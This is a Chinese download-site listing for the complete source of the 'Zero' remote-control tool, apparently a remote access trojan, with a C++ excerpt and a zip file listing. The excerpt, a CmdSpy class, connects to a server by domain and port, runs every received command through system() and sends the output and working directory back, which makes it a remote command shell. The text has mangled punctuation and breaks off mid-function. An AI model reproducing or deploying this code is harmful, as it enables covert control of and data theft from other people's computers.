-
大小: 13.66MB文件類型: .zip金幣: 1下載: 0 次發(fā)布日期: 2023-07-13
- 語(yǔ)言: 其他
- 標(biāo)簽: Zero遠(yuǎn)控??
資源簡(jiǎn)介
Zero遠(yuǎn)控完整代碼
代碼片段和文件信息
#include?“cmdspy.h“
//?互擠體,用來確保線程安全
static?CRITICAL_SECTION?gCs;
//?初始化類
static?CmdSpy?gSpy;
//?臨時(shí)飯后信息保存路徑
static?std::string?gTmpReturnFile?=?“cmd_return.tmp“;
CmdSpy::CmdSpy()
{
????//?初始化互擠體
????InitializeCriticalSection(&gCs);
}
CmdSpy::~CmdSpy()
{
????//?刪除互擠體
????DeleteCriticalSection(&gCs);
}
void?CmdSpy::startByNewThread(std::string?domain?int?port)
{
????//?將域名和端口數(shù)據(jù)轉(zhuǎn)換成一個(gè)字符指針類型
????char?*args?=?new?char[MAX_PATH+sizeof(int)];
????domain.reserve(MAX_PATH);
????memcpy(argsdomain.data()?MAX_PATH);
????memcpy(args+MAX_PATH(char*)&port?sizeof(int));
????//?創(chuàng)建新線程
????HANDLE?h?=?CreateThread(NULL0?CmdSpy::threadProc(LPVOID)args0NULL);
????if?(!h)?{
????????std::cout?<“Failed?to?create?new?thread“?<????????std::fflush(stdout);
????}
}
DWORD?CmdSpy::threadProc(LPVOID?args)
{
????char?domain[MAX_PATH];
????memcpy(domain?args?MAX_PATH);
????int?port?=?*((int*)((char*)args+MAX_PATH));
????//?開始監(jiān)控
????startCmdSpy(domain?port);
????//?釋放參數(shù)
????delete?(char?*)args;
????return?true;
}
void?CmdSpy::startCmdSpy(std::string?domain?int?port)
{
????//?創(chuàng)建socket并連接至服務(wù)端
????TcpSocket?sock;
????if?(!sock.connectTo(domain?port))?{
????????std::cout?<“Failed?to?connect?cmd?spy?server?“?<<
?????????????????????domain?<“:“?<????????std::fflush(stdout);
????????return;
????}
????//?開始監(jiān)控消息
????std::cout?<“Started?cmd?spy“?<????std::fflush(stdout);
????//?死循環(huán),不斷從服務(wù)端接收數(shù)據(jù)
????const?int?packetSize?=?800;
????char?szData[packetSize];
????int?ret;
????std::string?buf;
????while?(1)?{
????????ret?=?sock.recvData(szData?packetSize);
????????//?出現(xiàn)錯(cuò)誤
????????if?(ret?==?SOCKET_ERROR?||?ret?==?0)?{
????????????break;
????????}
???????//?把數(shù)據(jù)加入到緩沖區(qū)
???????addDataToBuffer(&sock?buf?szData?ret);
????}
????//?完成
????std::cout?<“Finished?cmd?spy“?<????std::fflush(stdout);
}
void?CmdSpy::addDataToBuffer(TcpSocket?*sock?std::string?&buf?char?*data?int?size)
{
????buf.append(datasize);
????//?把數(shù)據(jù)轉(zhuǎn)換成指令模式
????int?endIndex;
????while?((endIndex?=?buf.find(gSpy.CmdEnd))?>=?0)?{
????????std::string?cmd?=?buf.substr(0endIndex);
????????buf.erase(0?endIndex+gSpy.CmdEnd.length());
????????//?處理指令
????????std::string?retData?=?execCmd(cmd);
????????//?發(fā)送Cmd命令返回?cái)?shù)據(jù)到服務(wù)端
????????sock->sendData(retData.data()?retData.size());
????????//?發(fā)送當(dāng)前文件位置
????????std::string?pwd?=?gSpy.CmdPwd;
????????pwd.append(gSpy.CmdSplit);
????????pwd.append(getPWD());
????????//?發(fā)送Cmd命令返回?cái)?shù)據(jù)到服務(wù)端
????????sock->sendData(pwd.data()?pwd.size());
????}
}
std::string?CmdSpy::execCmd(std::string?cmd)
{
????//?鎖定函數(shù),其他線程不能進(jìn)來
????EnterCriticalSection(&gCs);
????//?執(zhí)行指令,然后保存在臨時(shí)文件
????system(cmd.append(“?>?“).append(gTmpReturnFile).data());
????//?打開臨時(shí)文件
????FILE?*fp?=?fopen(gTmpReturnFile.data()?“rb“);
????if?(!fp)?{
????????std::cout?<“Failed?to?open?return?file?of?cmd\n“;
????????std::fflu
?屬性????????????大小?????日期????時(shí)間???名稱
-----------?---------??----------?-----??----
?????文件??????84480??2016-03-03?20:40??Zero遠(yuǎn)控_1.0\bearer\qgenericbearer.dll
-----------?---------??----------?-----??----
????????????????84480????????????????????1
評(píng)論
共有 條評(píng)論